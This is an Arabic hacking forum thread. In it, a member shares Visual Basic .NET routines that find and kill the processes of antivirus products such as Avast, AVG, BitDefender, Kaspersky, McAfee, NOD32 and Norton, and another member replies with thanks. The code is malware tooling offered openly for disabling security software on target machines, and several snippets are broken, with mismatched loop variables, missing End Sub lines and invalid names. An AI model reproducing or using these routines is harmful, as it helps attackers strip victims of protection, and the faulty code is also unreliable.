1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. سيوفي المعموري
    rankrank
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏19 يونيو 2015
    عدد المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    بسم الله الرحمن الرحيم




    اقدم لكم اكواد لقتل بعض الحمايات
    أمل ان تنال اعجابكم )4:"






    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Antia-squared
    ---------------------------------
    Sub Antia-squared()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "a2servic.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    AntiGen
    ---------------------------------
    Sub Anti AntiGen()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "antigen.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    Avast
    ---------------------------------

    Sub AntiAvast()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "ashWebSv.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next

    ---------------------------------
    AVG
    ---------------------------------
    Sub AntiAVG()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "avgemc.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    BitDefender 2
    ---------------------------------
    Dim bit As Process() = Process.GetProcesses
    Dim b As Integer
    For b = 0 To bit.Length - 1
    Debug.WriteLine(bit(b).ProcessName)
    If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
    bit(b).Kill()
    End If
    Next


    ---------------------------------
    BitDefender
    ---------------------------------

    Sub AntiBitDefender()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "bdagent"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    Comodo
    ---------------------------------

    Sub AntiComodo()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "cpf.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    Kaspersky
    ---------------------------------

    Sub AntiKaspersky()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "avp"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    McAfee​
    ---------------------------------

    Sub AntiMcAfee()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "mcagent" & "mcuimgr"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    NOD32
    ---------------------------------

    Dim nod As Process() = Process.GetProcesses
    Dim n As Integer
    For o = 0 To nod.Length - 1
    Debug.WriteLine(nod(n).ProcessName)
    If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
    nod(n).Kill()
    End If
    Next


    ---------------------------------
    NOD32 (2)
    ---------------------------------

    Sub AntiNOD32()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "egui"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    Norton
    ---------------------------------

    Sub Anti Norton()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "ccapp.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    انهتى


    اراكم في موضوع جديد )4:"​
     
    جاري تحميل الصفحة...
  2. Mira Mrmr .::|| زهره منتدى عراق تيم ||::.
    V • I • P

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    644
    الإعجابات المتلقاة:
    132
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: اكواد لقتل برامج الحماية

    [​IMG]عاشت ايدك وشكراالك على الموضوع[​IMG]
     
  3. سيوفي المعموري
    rankrank
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏19 يونيو 2015
    عدد المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: اكواد لقتل برامج الحماية

     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...